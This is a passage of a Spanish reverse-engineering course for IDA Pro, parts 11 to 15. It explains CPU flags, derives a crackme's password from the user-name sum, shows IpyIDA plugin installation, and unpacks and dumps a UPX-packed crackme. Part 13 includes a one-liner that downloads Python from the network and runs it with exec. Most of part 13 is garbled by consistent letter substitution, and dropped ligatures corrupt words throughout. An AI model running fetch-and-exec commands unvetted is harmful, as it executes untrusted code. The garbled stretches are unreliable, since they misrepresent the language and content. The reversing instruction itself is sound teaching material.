cual fue fieado en la versión 6.9 pero esa no la tenemos, para ver si la versión suya tene el BUG, abren
el IDA, y en una instrucción hacen ALT mas M que es similar a colocar una marca (JUMP-MARK
POSITION) y luego en esa misma instrucción hacemos click derecho.
En internet dice como fiear este bug veamos si podemos hacerlo y si funciona bien por lo cual
dejaremos una copia de los módulos originales guardados.
Tomemos primero ida.wll y abrámoslo con un editor heiadecimal como el HXD, con permisos de
administrador.
Copie la original a otro lugar antes de modifcarla y luego la renombre y la copie en la misma carpeta
como backup.
EAX lo modifico a 0x25 y EDX a 0x40 al tracear con f8, veamos si se activa el CF.
Se activó el CF si cambio EIP para ejecutar de nuevo esta resta, haciendo click derecho - SET IP en la
instrucción del SUB EAX, EDX y cambio EAX a 0x100.
La ejecuto con f8.
No se activó o sea que como conclusión general podemos pensar que en una cuenta de valores SIN
SIGNO si se activa CF es que hubo un error en la misma de algún tipo.
OVERFLOW FLAG.
Es similar al caso anterior, pero para operaciones CON SIGNO, cambiamos EIP al ADD EAX,1 y
ponemos EAX a 0x7fffffff.
Si ejecuto f8.
Vemos que se activó el OVERFLOW FLAG ya que en una operación con signo sumarle uno al máximo
positivo 0x7fffffff hace que el resultado sea el máximo negativo y el resultado de la cuenta es falso.
También se activa porque el máximo negativo 0x80000000 menos 0x40 da un valor positivo muy grande
dando erróneo el resultado de la operación.
Por lo tanto, podemos sacar como conclusión que el OVERFLOW FLAG si se activa es que hubo un
error en una operación CON SIGNO.
FLAG DE SIGNO
Este es sencillo se activa cuando el resultado de una operación es negativo, en cualquier caso. Solo
determina el resultado del signo del resultado no si es correcta o incorrecta la operación.
0x8000000 mas 0x1 se mantiene dentro del rango de los números negativos el resultado 0x8000001, por
lo que se activa el SF, también vemos que el OF y el CF no se activan al no haber error en la operación
sean ambos SIN SIGNO o CON SIGNO.
Obviamente el procesador cuando ejecuta la instrucción de una operación de dos registros no sabe si
son SIGNED o UNSIGNED nosotros lo sabemos porque vemos los saltos condicionales siguientes, pero
el procesador no lo sabe, así que en cualquier operación evaluara la instrucción como si fueran SIN
SIGNO y CON SIGNO a la vez y variara los flags necesarios, como los saltos condicionales dependen de
los flags, ahí será que el programa mirara el resultado del flag CF SIN SIGNO o OF CON SIGNO según
el salto que haya, si por ejemplo hay un JB que es un salto SIN SIGNO mirara solo el CF y no le
importancia al OF aunque ambos cambien.
ZERO FLAG
Este no depende del signo
Se activa cuando en una comparación (la cual internamente es una resta) ambos miembros son iguales,
cuando hay un incremento o decremento y el resultado es cero, o en una resta que de cero.
Podemos probarlo.
Vemos que se activa el ZF ya que el resultado es cero, y si consideramos ambos como SIN SIGNO,
también se activa el CF ya que desbordo el máximo positivo, en cambio el OF no se activó porque si
ambos son CON SIGNO -1 + 1 da cero y no hay error, tampoco el SF se activó ya que el resultado no
fue negativo.
Esos los flags más importantes, veamos si colocamos a continuación un salto condicional que sucede.
Cambio las instrucciones para que quede un SUB EAX, EDX y a continuación escribo un JB 0x401018.
Titila la flecha roja porque como EAX es mayor que EDX por lo tanto el salto no se efectúa, pero miremos
los flags.
JB es un salto SIN SIGNO y salta si está activo el FLAG CF y como no se activó porque la operación fue
correcta entre dos números positivos y el resultado es positivo lo cual significa que el primero es mayor
que el segundo, por lo tanto, no salta.
Como JB mira el CF saltara porque está activo ya que el resultado de una operación SIN SIGNO dio
negativo y dio error.
También se activó el SF porque el resultado dio negativo y el OF no se activó ya que si ambos son SIN
SIGNO la operación no da error ya que 0x40 – 0x80 da negativo y el resultado lo es.
Como vimos JB salta según el estado del flag CF pero si lo cambio por un JL.
En ese caso cambia y va por la flecha verde porque el primero es menor que el segundo pero que flag
mira el salto JL.
Vemos que el JL mira si el SF no es cero y en este caso es 1 así que también saltara lo cual es lógico ya
que el primer miembro es menor que el segundo y el SUB es como una comparación CMP, solo que esta
última guarda el resultado, así que el primero siendo menor que el segundo también saltara.
La conclusión del tema es que no es necesario mirar los flags para saber que pasara en un salto
condicional, eso pertenece al funcionamiento interno, con saber si son iguales saltara un JZ si es menor
sin signo saltara si es un JB si es menor con signo saltara si es un JL y así sucesivamente, viendo la
tercera columna de la tablita y sabiendo cuales saltos son con signo y sin signo es suficiente, pero es
bueno profundizar un poco.
Hasta la parte 12
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING CON
IDA PRO DESDE CERO PARTE 12
Bueno para no ir aburriendo, vamos a ir mezclando con ejercicios, en este caso es otro compilado por mí
que se llama TEST_REVERSER.exe y que es muy sencillo, pero nos ayudara a ver algunas cositas nuevas
en reversing estátco y a chequearlas debuggeando.
Nos pide un User y luego un password y luego nos dice que somos un asco y se nos caga de risa jeje.
Una de las formas como ya vimos de llegar a la parte caliente es buscar strings ya sabemos cómo hacer
eso, también en estos programas de C++ de consola, una forma de hallar el main que casi siempre
funciona es la siguiente.
Sabemos que a la función main se le pasan como argumentos argc argv etc los argumentos de consola.
Ya vimos en el ejemplo anterior que aun sin que se utlicen los argumentos, los PUSH estaban igual, o
sea que es algo por default para ejecutables de consola, así que podemos buscar en la pestaña NAMES a
ver si están allí.
De aquí en más cuando diga en la pestaña XXX ya saben que se abre en VIEW-OPEN SUBVIEW-XXX, para
no repetr tanto.
Ahí con CTRL + F fltramos escribiendo arg y vemos por ejemplo haciendo doble click en _p_argc.
Si esta misma función la veo en el IDA mío que tengo la versión con símbolos.
Y la referencia.
Obviamente no es la idea hacer trampa, solo chequear si el método para hallar el main se verifca y aquí
es completamente cierto, buscando las referencias de los argumentos que se pasan por consola,
llegamos al main.
Al renombrar el main.
Automátcamente IDA renombra los args al decirle que dicha función es el main.
Si hacemos doble click en cualquier variable o argumento, veremos la representación estátca del stack.
Vemos de abajo hacia arriba, lógicamente primero estarán los argumentos de la función que van
siempre debajo del return address r ya que se pasan por PUSH y se guardan en el stack antes de llamar
con CALL a la función, lo que a contnuación guarda el return address en el stack.
Luego tenemos S o sea el STORED EBP que es el EBP que la función que llamo al main, se guarda en el
stack cuando se empieza a ejecutar la función con el PUSH EBP.
Luego mueve ESP a EBP poniendo EBP en el valor que tendrá en esta función para ser la BASE de donde
se toman como referencia hacia abajo los argumentos y hacia arriba las variables, y por últmo el SUB
ESP,0x94 mueve ESP haciendo lugar para la variables y bu ers locales por eso están arriba, en este caso
será 0x94 porque calculo el compilador que eso es lo que necesita para reservar el espacio para
variables y bu ers, según como programamos nuestra función.
ESP queda con un valor arriba de ese espacio reservado para las variables locales y EBP queda
apuntando a la BASE o HORIZONTE, que divide las variables por arriba y el STORED EBP, RETURN
ADDRESS y ARGUMENTOS por debajo.
Por eso en las funciones basadas en EBP, una vez que se guarda con PUSH EBP el valor de EBP de la
función que llamo, y luego se mueve ESP a EBP este queda siendo como un horizonte, por eso en la vista
estátca del stack, se muestra 000000000 como un horizonte y hacia arriba se ven signos menos delante
y para abajo signos más.
Por eso var_4 tene el -00000004 delante porque tomando EBP como BASE o cero la dirección
matemátca seria EBP-4.
Cuando vemos en la misma un espacio vacío donde no hay variables contguas es porque posiblemente
hacia arriba haya un BUFFER (más adelante veremos los casos en que el espacio vacío es una
estructura). Ahora subamos un poco.
Allí vemos Buf que es la primera variable encima de la zona vacía, hacemos click derecho ARRAY.
Vemos el size del ARRAY 120 ya que está compuesto de 120 elementos de 1 byte.
Allí vemos la zona en que queda ESP luego de ese SUB ESP, 0x94.
Ahí se ve en la izquierda -00000094 o sea que será ESP=EBP-094 obviamente luego seguirá subiendo a
medida que siga trabajando, entre a otras subfunciones etc, pero siempre mientras este dentro de esta
función main y hasta que salga de la misma quedara trabajando desde ese 0x94 para arriba ya que
respetara la parte reservada para las variables, para no pisarlas.
Bueno una vez que ya hicimos un paneo de la vista estátca del stack, vamos reverseando las variables ya
que los argumentos son conocidos (argc, argv, etc)
Ya vimos que var_4 es la variable de la COOKIE_SEGURIDAD o CANARY, vemos que lee el valor lo XOREA
con EBP y lo guarda en el stack para protegerlo de OVERFLOWS, así que renombremos a eso.
Al igual que en el ejemplo anterior la api prin al no tener símbolos no se muestra pero viendo las
strings que imprime en consola y viendo la función 0x4011b0.
Sigamos adelante.
Vemos que la variable size es inicializada con 8 y nunca más cambia su valor solo hay dos lecturas entre
las referencias posteriores, así que renombraremos esa variable size como size_
_CONST_8.
Vemos luego una llamada a get_s que es una evolución de la función gets pero con un máximo de
caracteres que podes tpear, en este caso, el máximo seria 8 que se mueve a EAX y se pasa como
argumento con el PUSH EAX y luego el LEA obtene la dirección de la variable Buf o sea el BUFFER.
Por supuesto si entramos menos caracteres que 8 y apretamos ENTER, cortara la entrada de los mismos
y retornara.
Así que sabemos que en Buf estará el User que tpeamos y que tendrá como máximo 8 caracteres.
Allí vemos que luego pasa con PUSH EDX la dirección del bu er nuevamente, como argumento de la api
strlen para sacar el largo de la string que está en Buf que corresponde al User, y guarda en esa var_90 el
largo que devuelve en EAX, así que renombramos la var_90 con len_USER.
La echa azul siempre indica un salto hacia atrás lo que puede ser un LOOP, y en 0x4010ce se inicializa el
contador del LOOP var_84, inclusive se ve que en 0x4010f5 está el salto condicional que evalúa la
condición de salida del mismo, el contador empieza en CERO se ira incrementando en cada ciclo y saldrá
cuando sea más grande o igual al largo de lo tpeado len_USER.
El contador se incrementa en el fn del LOOP aquí.
Allí mueve de EBP+EDX+BUF el primer byte del BUFFER ya que EBP+BUF se le suma CONTADOR que
ahora vale cero pero se incrementara a medida que cicle el LOOP, vemos ahí que lo que hará será una
sumatoria de todos los valores de los caracteres que tpee, así que a var_88 que empieza valiendo cero,
se le irán sumando en cada ciclo los valores hexadecimales de cada carácter de la string del BUFFER.
MOVSX Y MOVZX
Ambas toman un byte y lo mueven a un registro en el caso de MOVZX rellenan con ceros los bytes
superiores, mientras que en el caso de MOVSX toma en cuenta el signo del byte si es positvo o sea
menor o igual que 0x7f rellena con ceros y si es negatvo o sea 0x80 o mayor rellena con 0x .
MOVZX EAX,[XXXX]
Ese caso es similar tomara el valor del byte y lo completara con ceros los bytes superiores.
MOVSX EAX,CL
Toma en cuenta el signo del byte si CL es por ejemplo 0x40, EAX valdrá 0x00000040 y si fuera 0x85 en
ese caso considera el signo y al ser negatvo EAX valdrá 0x 85.
Igualmente, ya que tpeamos caracteres por consola las letras y números son caracteres con valores
hexadecimales positvos así que no habrá problema, ira sumando los valores uno a uno y los guardará.
Vemos que el LOOP es una sumatoria de caracteres, los pintaremos del mismo color.
También los acerque un poco arrastrando y soltando el bloque de abajo un poco más arriba.
Hay gente que para sacarlos del medio si no tene ganas de que le molesten los agrupa, con CTRL
apretado haciendo click en la barra superior de cada bloque.
Hacemos click derecho GROUP NODES y le ponemos un nombre por ejemplo LOOP.
Puede reusar el mismo BUFFER para el PASSWORD, total ya calculo la SUMATORIA de los valores
hexadecimales de los caracteres de USER y no usara más la string USER en sí.
Ahora tomara el PASSWORD y lo convertrá a HEXADECIMAL como en el ejemplo anterior usando ATOI.
Allí le pasara el VALOR_PASSWORD con el PUSH EDX y la SUMATORIA con el PUSH EAX, esos serán los
dos argumentos que se le pasan a la función 0x401010, entremos en ella.
Allí vemos los dos argumentos, es obvio que el que está más abajo será VALOR_PASSWORD ya que fue
el que primero se pasó con PUSH en el stack y el segundo que se pusheo será SUMATORIA, que estará
más arriba.
Los renombro según eso, y luego para verifcar que quedo bien en el sub_0x401010 hare click derecho y
elegiré SET_TYPE.
Con lo cual IDA tratara de declarar la función con sus argumentos para que se vea en la referencia y
renombramos también a CHECK la función.
Y si vamos a la referencia.
Vemos que IDA me propaga los nombres y me dice que EAX allí tene SUMATORIA y EDX el
VALOR_PASSWORD.
Vemos que los compara pero antes toma el valor PASSWORD y le hace SHL EAX, 1
O sea sabemos que SHL es rotar a la izquierda los bits, llenando con ceros los que caen por un lado, pero
específcamente SHL REG, 1 es equivalente a multplicar por 2.
O sea que toma el valor del password lo multplica por 2 y lo compara con la sumatoria de los caracteres
del USER.
Con eso sacamos el valor numérico de un carácter, podemos hacer una fórmula que sume todos los
caracteres de la string pepe que la usare como USER.
Vemos que sumatoria es 0x1aa, por el otro lado al valor que Tipeemos como password lo multplicara
por dos antes de comparar con este 0x1aa, así que el password correcto debería ser un valor que al
tpear por dos me de 0x1aa.
X*2=0x1aa
Aclaremos que este programa tene una limitación, si la sumatoria da un número impar, es imposible
que haya un valor x que multplicado por 2 nos dé como resultado un número impar, así que esos
usuarios no tenen solución, solo tenen solución en este programa los usuarios que su sumatoria da
positva.
Despejamos
X=0x1aa/2 y pasado a decimal obviamente ya que con ATOI lo había pasado de decimal a HEXA.
Si no son iguales va al bloque rojo y devuelve CERO y si son iguales va al bloque verde y devuelve UNO,
veamos qué pasa con ese valor de retorno.
Me encantaría que lo debuggeen y chequeen todo lo que reverseamos poniendo breakpoints y viendo
los valores en cada caso hasta el chequeo fnal.
Hasta la parte 13
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
13
Antes de contnnua con ejeacicios paofnndizundo el nso del IDA huaemos estu puate 13 qne seaá aelujudu,
puau conocea nn plngin qne es bustunte cómodo y qne nos du lu posibilidud de munejuanos mejoa con
Python, qne lu buaaitu qne taue inclnidu y fne sngeaidu poa Shuddy ul cnul le ugaudezco pnes es mny
inteaesunte.
El plngin en cnestón se llumu IpyIDA y se instulu solo copiundo y pegundo estu líneu en lu buaau de
Python.
import urllib2; exec
urllib2.urlopen('https://github.com/eset/ipyida/raw/stable/install_from_ida.p
y').read()
Eso es nn comundo de nnu solu líneu qne se pnede copiua y pegua desde uqní, poa si se coaaompe ulgo el
mismo se encnentau en este link.
h ps://githnb.com/eset/ipyidu
Eso huaá qne se instule untomátcumente en nn pua de minntos estuaá listo no le den impoatunciu u
mensujes de udveatenciu de veasión de Python fnncionuau ignulmente. (Al fnul del cupítnlo aecopilé
ulgún qne otao paoblemu qne tnve ul instulualo en otaus máqninus, si ulgnien tene ulgún paoblemu vea
ullí)
Es bneno ucluaua qne unnqne tenemos Python en nnestau muqninu instuludo poa IDA, si qneaemos coaaea
nn scaipt de Python pnao mnchus veces debemos hucealo fneau de IDA, tunto lu buaau como lu posibilidud
de coaaea scaipts de Python dentao de IDA son noamulmente puau scaipts puau nsua lus fnnciones inteanus
de IDA, o seu IDAPYTHON, lo cnul no fnncionu fneau de IDA.
Ignul en el Python inclnido en el IDA mnchus cosus fnncionun ignul qne en el de fneau, peao ulgnnu qne
otau no, y es bneno ucluaua qne eso pnede pusua.
O seu el Python inteano de IDA se usemeju ul OLLYDBG scaipt, puau podea scaipteua el fnncionumiento del
IDA, más qne puau scaipts pnaos de Python qne se ejecntun en foamu más computble fneau de IDA.
Obviumente es mncho más podeaosu qne lu buaaitu de Python si upaetumos lu teclu ? puau vea lu
aefeaenciu aápidu.
At your system command line, type 'ipython -h' to see the command line
options available. This document only describes interactive features.
MAIN FEATURES
-------------
* System command aliases, via the %alias command or the configuration file(s).
The ?/?? system gives access to the full source code for any object (if
available), shows function prototypes and other useful information.
If you just want to see an object's docstring, type '%pdoc object' (without
quotes, and without % if you have automagic on).
At any time, hitting tab will complete any available python commands or
variable names, and show you a list of the possible completions if there's
no unambiguous one. It will also complete filenames in the current directory.
This feature requires the readline and rlcomplete modules, so it won't work
if your Python lacks readline support (such as under Windows).
- Start typing, and then use Ctrl-p (previous,up) and Ctrl-n (next,down) to
search through only the history items that match what you've typed so
far. If you use Ctrl-p/Ctrl-n at a blank prompt, they just behave like
normal arrow keys.
- Hit Ctrl-r: opens a search prompt. Begin typing and the system searches
your history for lines that match what you've typed so far, completing as
much as it can.
* Logging of input with the ability to save and restore a working session.
* System escape with !. Typing !ls will run 'ls' in the current directory.
* The reload command does a 'deep' reload of a module: changes made to the
module since you imported will actually be available without having to exit.
* Verbose and colored exception traceback printouts. See the magic xmode and
xcolor functions for details (just type %magic).
IPython offers numbered prompts (In/Out) with input and output caching. All
input is saved and can be retrieved as variables (besides the usual arrow
key recall).
The following GLOBAL variables always exist (so don't overwrite them!):
_i: stores previous input.
_ii: next previous.
_iii: next-next previous.
_ih : a list of all input _ih[n] is the input from line n.
For example, what you typed at prompt 14 is available as _i14 and _ih[14].
You can create macros which contain multiple input lines from this history,
for later re-execution, with the %macro function.
The history function %hist allows you to see any part of your input history
by printing a range of the _i variables. Note that inputs which contain
magic functions (%) appear in the history with a prepended comment. This is
because they aren't really valid Python code, so you can't exec them.
For output that is returned from actions, a system similar to the input
cache exists but using _ instead of _i. Only actions that produce a result
(NOT assignments, for example) are cached. If you are familiar with
Mathematica, IPython's _ variables behave exactly like Mathematica's %
variables.
The following GLOBAL variables always exist (so don't overwrite them!):
_ (one underscore): previous output.
__ (two underscores): next previous.
___ (three underscores): next-next previous.
Global variables named _<n> are dynamically created (<n> being the prompt
counter), such that the result of output <n> is always available as _<n>.
Finally, a global dictionary named _oh exists with entries for all lines
which generated output.
* Directory history:
Your history of visited directories is kept in the global list _dh, and the
magic %cd command can be used to go to any entry in that list.
1. Auto-parentheses
Callable objects (i.e. functions, methods, etc) can be invoked like
this (notice the commas between the arguments)::
In [1]: callable_ob arg1, arg2, arg3
and the input will be translated to this::
callable_ob(arg1, arg2, arg3)
This feature is off by default (in rare cases it can produce
undesirable side-effects), but you can activate it at the command-line
by starting IPython with `--autocall 1`, set it permanently in your
configuration file, or turn on at runtime with `%autocall 1`.
2. Auto-Quoting
You can force auto-quoting of a function's arguments by using ',' as
the first character of a line. For example::
In [1]: ,my_function /home/me # becomes my_function("/home/me")
Note that the ',' MUST be the first character on the line! This
won't work::
In [4]: x = ,my_function /home/me # syntax error
________________________________________________________________________
Bneno obviumente tene mnchus posibilidudes, qnito lo qne mostao aecientemente con ESC.
Lu opción de untocompletua con lu teclu TAB qne no tene lu buaau de Python inclnidu, es de
ugaudecease.
Vemos qne si tpeo imp y TAB me untocompletu impoat y si le soy TAB de nnevo.
Me sulen lus posibilidudes de impoatua qne pnedo nuvegua puau uaaibu y ubujo con lus echus y qnitua
con ESC.
Al ponea el signo de paegnntu nnu vez, me du nnu aápidu infoamución y si lo pongo dos veces me
mnestau el código tuadu nn autto más esto.
Cnundo teamino con ESC vnelvo donde estubu.
Tumbién con lu echu puau uaaibu y ubujo pnedo ia u los comundos unteaioaes qne nse.
%histoay -n le ugaegu los númeaos de líneu puau subea bien si necesitumos ubaia nn aungo puau uamua nn
scaipt con edit.
Obviumente IPython es bustunte potente y tene miles de comundos los cnules pneden hulluase
completos uqní.
h p://ipython.oag/ipython-doc/3/index.html
Huaemos nn pua de ejemplitos simples con lus upi de inclnidus de IDApython nsundo este nnevo plngin.
Tumbién el comundo de idc.GetDisusm(eu) nos duaá lu instancción en donde está nbicudo el cnasoa.
Si cumbio el cnasoa u otau instancción debeaé hullua de nnevo eu
Lus aefeaencius u lu fnnción si ponemos el mismo en el inicio de nnu fnnción qne tengu aefeaencius y
volvemos u hullua el eu.
Veo lu aefeaenciu.
El plngin nos du mnchu comodidud y IDApython tene miles de instancciones qne siaven puau ponea
baeukpoints, loggeua, uaauncua el debnggea etc.
Ricuado Nuavuju
PROBLEMAS AL INSTALAR
Snele hubea paoblemus de instulución si tenemos instuludo paeviumente pip en Python, eso se pnede
veaifcua fácilmente in IDA tpeundo untes de instulua en lu buaau de Python.
impoat pip
Si no devnelve eaaoa es qne yu tenen instuludo pip y fulluau ul instulua lo qne deben hucea es ubaia nnu
consolu de Windows y tpeua.
python -m pip uninstall pip setuptools
h ps://githnb.com/eset/ipyidu
Archivos empacados
La defnición de archivo empacado es un archivo que oculta el código ejecutable de un programao
guardándolo con algún tpo de compresión o encriptación para que no se pueda reversear
fácilmenteo agrega además un STUB o sección desde donde arrancao que toma en tempo de
ejecución el código empacadoo lo desempaca en memoria en alguna otra sección o en la mismao
para que se pueda ejecutar y luego salta a ella.
Hay mil variantes de packerso y muchos son además protectoreso rompiendo la IAT o tabla de
importacioneso rompiendo el HEADERo agregando código antdebugger para evitar el
desempacado y reconstrucción del archivo original.
El caso más simple de packer es UPXo que no tene antdebuggerso ni trucos sucioso pero permite
iniciarse como siempre por lo más sencilloo adjunto estará el archivo PACKED_CRACKME.EXE.
Ese es el start o ENTRY POINT del archivo PACKED_CRACKME.exeo vemos que se encuentra en la
dirección 0x409be0o mientras que el original se encontraba en 0x401000o como veamos abajo.
También comparando los segmentos de amboso vemos que el packeado luego del header tene un
segmento llamado UPX0o cuyo largo en memoria es más largo que el programa original.
ORIGINAL
PACKEADO
Vemos que la sección UPX0 del packeado termina en 0x409000 mientras que en el original todas
las secciones se ubican en la memoria desde 0x401000 hasta 0x408200o
Ojo que estamos hablando de memoria virtual o sea cuando arranca un programa puede tener 1k
en el disco y reservar 20 K o lo que quiera en la memoria.
Eso se puede ver en el IDA por ejemplo en la dirección de inicio 0x401000 de la sección de código
del original vemos.
Dicha sección (SECTION SIZE IN FILE) ocupa 0x600 byteso mientras que en memoria (VIRTUAL SIZE)
ocupa 0x1000.
Mientras que el empacadoo si vamos a 0x401000 que es el inicio de la sección UPX0.
Vemos que es una sección de largo 0 bytes en el discoo pero en la memoria ocupa 0x8000 o sea
que esto reserva espacio vacíoo para armar aquí el código del programa original y luego saltar a
ejecutarloo hay sufciente espacio para hacerlo.
También vemos que la dirección 0x401000 por el prefjo dword_ delante signifca que su
contenido es del tpo DWORD.
El signo (?) signifca que solo está reservado o sea no tene contenido y el dup o multplicaro
signifca que se multplica ese d ord por 0xc00 o sea 0x3000 bytes reservados.
Luego en 0x404000 hay 0x1400 d ords mas (?) o sea solo reservados.
O seao en total hay reservados en memoria 0x8000 bytes para armar allí el programa.
También vemos que en 0x401000 hay una referencia a código ejecutable ya veremos que es.
Luego el packeado tene esta segunda sección cuyo size en el disco es 0xe00 y en la memoria
0x1000 y que posiblemente sea el programa original guardado con algún método de encripcion
simple para que no se pueda ver el código original.
Si miramos las referencias en la dirección de inicio de la sección 0x409000.
Vemos que hacia abajo (DOWN) hay una referencia en una parte ejecutableo si hacemos click allí.
Vemos que en el STUB a contnuación del entry point carga la dirección 0x409000 (recordar el
OFFSET delante)
Si apretamos la barra ahí vemos
Que el código del STUB está en la misma sección UPX1 debajo del código empacado del programa
originalo o sea que en la sección UPX1 tenemos tanto los bytes guardados del programa original
encriptados y el código del STUB a partr de 0x409be0.
No hay que ser muy pillo para darse cuenta que ira leyendo bytes desde 0x409000 le aplicara
ciertas operaciones y los guardara en 0x401000o vemos que EDI es igual a ESI-0x8000 o sea
O sea se ve que usara el contenido de ESI como SOURCE de donde ira leyendo los datoso les
aplicara ciertas operaciones y los guardara en el contenido de EDIo lo que ira armando el
programa.
Habíamos dicho que en 0x401000 había una referencia a código ejecutableo si hacemos doble click
en esa referencia.
Llamaremos OEP o ORIGINAL ENTRY POINT al ENTRY POINT del programa originalo obviamente
como es un programa empacado no se sabe dónde está y solo nosotros como tenemos el original
podemos saber que estaba en 0x401000.
Obviamente cuando nos llega un programa empacado no sabemos cuál es el OEPo porque no
tenemos el originalo así que va a haber que hallarloo viendo cuando el STUB termine de hacer todas
sus tretas y termine de armar el código originalo saltará a ejecutarlo para comenzar el programao
casi siempreo la primera línea de código que ejecute en esa sección que armo será el OEP.
Podríamos poner un BREAKPOINT en ese JMP al OEPo para ver si allí el programa original ya está
armadoo probemos.
Apretamos YES para que interprete como CODIGO la primera sección UPX0 que estaba defnida
como DATA.
Vemos que ya desempaco el código y salto a ejecutar. El código es muy parecido al 0x401000 del
originalo aunque vemos que al querer pasar a modo grafco no lo hace porque no está defnido
como función (loc_401000)o pero lo haremos automátcamente.
Hay un menu medio oculto en la esquina inferior izquierdao haciendo click derechoo elijo
REANALYZE PROGRAM.
Vemos que al cliquearlo la dirección loc_401000 cambio a sub_401000 lo cual indica que ahora es
una funcióno así que podemos cambiarla a modo gráfco con la barra espaciadora.
Ahora quedo más linda.
Una diferencia que vemos es que el original mostraba en 0x401002 por ejemplo CALL
GetModuleHandleAo mientras que esta muestra CALL sub_401056o veamos que hay dentro de ese
CALL.
También hay un salto indirectoo aquí detecta que salta a la apio el otro noo pero donde va el
packeado allí?
El contenido de 0x403028 es un o set (o _) o sea la dirección de la api GetModuleHandleA y en el
original la misma dirección esta en la sección idata y contene también la dirección de la misma
api.
A pesar de que terminan saltando al mismo lugaro hay una diferencia muy importante que
veremos más adelante.
Yo tengo el código del programa desempacadoo aunque aún no es funcional y si solo tengo que
analizar estátcamente el código del programa que se armó en la primera seccióno lo que hago es
lo siguiente.
Primero en SEGMENTS
Verifco que todas las secciones del packer tengan la L o sea que cargaran en el LOADERo como
vemos en la imageno incluso puedo agregar alguna dll o segmento que quiera que esté en el
análisis estátcoo haciendo CLICK DERECHO-EDIT SEGMENT en la línea que queremos agregar al
LOADER.
Los segmentos que queremos que se agreguen le ponemos la tlde en LOADER SEGMENTo en este
caso solo dejaremos los segmentos del PACKER pero es bueno saber que podemos agregar otros.
Luego la opción TAKE MEMORY SNAPSHOT guardara los segmentos que hayamos marcados como
LOADER con el código que tengan. (NO CONFUNDIR CON LA OTRA OPCION FILE-TAKE DATABASE
SNAPSHOT que estudiamos antes)
Vemos que si paro el DEBUGGERo y por supuesto quedo en el LOADER y voy a 0x401000 en vez de
estar vacío como anteso ahora aparece el código que copiamos cuando estábamos parado en el
OEP y que ahora está disponible para hacer reversing estátco al igual que todos los segmentos
que tengan la Lo por supuesto al arrancar el DEBUGGER de nuevo se perdería porque lo pisaría con
los bytes que realmente estarán allí al inicializar la sección en el DEBUGGERo así que si necesitamos
la database con el análisis estátcoo debemos copiarla a otra carpeta y abrirlo con otro IDA para
trabajar tranquilos.
Si arranco de nuevo el debugger y paro en el ENTRY POINT del mismo antes de ejecutar el STUBo
veo que la zona de 0x401000 esta vacía nuevamente.
Lo que habíamos guardado en la database se perdióo porque en el DEBUGGER la info del LOADER
se pisó con los bytes que inicializaron la sección UPX0o así queo si lo necesitamos para reversing
estátcoo como dije antes luego de hacer el TAKE MEMORY SNAPSHOT hay que copiarlo a otra
carpetao antes de volver a arrancar el debugger.
Como soy un molesto voy a buscar una segunda forma de encontrar el OEPo que es buscando la
primera instrucción que se ejecute en la primera seccióno es otro método que a veces puede
funcionar.
Allí coloco un BREAKPOINT con f2o lo confguro para que pare por EXECUTE o sea cuando ejecuta y
no cuando se escriba o lea allí ya que sino parara cuando copia el código y lo va armando y no
quiero esoo solo quiero que cuando este armado y salte a ejecutaro pare en la primera instrucción
que ejecuteo y como no sé cuál seráo pongo un BREAKPOINT ON EXECUTE que abarque toda la
sección (0x8000 bytes)
Se ponen todas las instrucciones rojas.
CLICK DERECHO-DISABLE.
Y ahora si doy RUN.
Y veo que la primera instrucción que paro en la sección recién armada es en este caso 0x401000
mi OEP hallado.
O sea que usando este método coincide y hallamos el OEP que es 0x401000o quito el breakpoint.
O sea que hasta ahora obtuvimos el OEP y paramos en el mismo de dos formas diferenteso
pudimos hacer un SNAPSHOT del código armadoo lo único que nos falta es DUMPEAR y
RECONSTRUIR la IATo para terminar de obtener un archivo desempacado ejecutable y funcional.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
15
En la parte anterior vimos un par de métodos de los tantos que hay para detectar y llegar al OEP en un
archivo empacado, ahora contnuaremos con los dos pasos faltantes, el DUMPEADO y la
RECONSTRUCCION DE LA IAT, tratando de explicar la misma.
Volvemos a llegar al OEP y a REANALIZAR el programa y ya tenemos todo listo para DUMPEAR.
statc main()
{
auto fp, ea;
fp = fopen("pepe.bin", "wb");
for ( ea=0x400000; ea < 0x40b200; ea++ )
fputc(Byte(ea), fp);
}
En el script ponemos la ImageBase o sea 0x400000 y la dirección máxima que vemos en el IDA en la
pestaña SEGMENTS, de la últma sección del ejecutable a DUMPEAR, en este caso la sección OVERLAY
que es la últma sección del ejecutable termina en 0x40b200.
Lo guardamos con algún nombre por ejemplo DUMPER.idc
Y lo corremos en FILE-SCRIPT FILE vemos que acepta scripts tanto de Python como IDC, así que no hay
problema.
Hago una copia y lo renombro a extensión EXE. (si no ven las extensiones de los archivos deben cambiar
esa opción en OPCIONES DE CARPETA)
Vemos que ni icono tene, así que aún faltan algunos pasos.
¿QUE ES LA IAT?
La IAT o IMPORT ADDRESS TABLE es una tabla ubicada en el ejecutable, que se utliia cuando arranca el
programa y allí guarda las direcciones de las funciones importadas que utliia, para que el programa
pueda correr en cualquier máquina.
Si la IAT esta correcta y le pasamos el ejecutable a otra persona, la IAT se llenará con los valores
correspondientes a esa máquina sea cual sea la versión de Windows que tenga y se mantendrá la
compatbilidad y funcionara.
O sea, la IAT se encontrará siempre en una posición determinada en cada ejecutable, y tendrá
posiciones jas para que cada función la llene, por ejemplo.
Recordamos de la parte anterior que quedo por explicar la diferencia entre la imagen superior que es
del archivo empacado cuando estaba en el OEP antes de DUMPEAR y la del original.
Ambas muestran la dirección 0x403238 y parecen tener el mismo contenido, ahora abramos también el
archivo original.
Vemos allí el FILE OFFSET 0x1038 para poder buscar en el HXD en el ejecutable original.
Para verlo deberíamos cargar el original con MANUAL LOAD para que cargue todas las secciones del
ejecutable.
Aceptamos todas las secciones y cuando arranca vamos a 0x40355e y vemos a la derecha el nombre de
la api GetModuleHandleA.
Así que el sistema cuando arranca, si miramos la imagen inferior, el programa va trabajando en todos
esos cajoncitos.
Y a cada uno le suma al contenido de la ImageBase y busca la string de la función correspondiente, y de
esa string resuelve en tempo de ejecución la dirección en nuestra máquina, como por ejemplo en este
caso busca la dirección de GetModuleHandleA en nuestra máquina y machaca el 5e 35 con la dirección
de la api.
Por eso un ejecutable funciona en cualquier máquina, porque siempre buscara en cada entrada de la IAT
el nombre de la api correspondiente y lo resolverá al arrancar, por lo cual siempre la dirección que
contenga será válida aunque diferente de máquina a máquina, sin embargo la dirección del cajoncito de
GetModuleHandleA en todas las maquinas será el mismo en todos los ejecutables sin randomiiar como
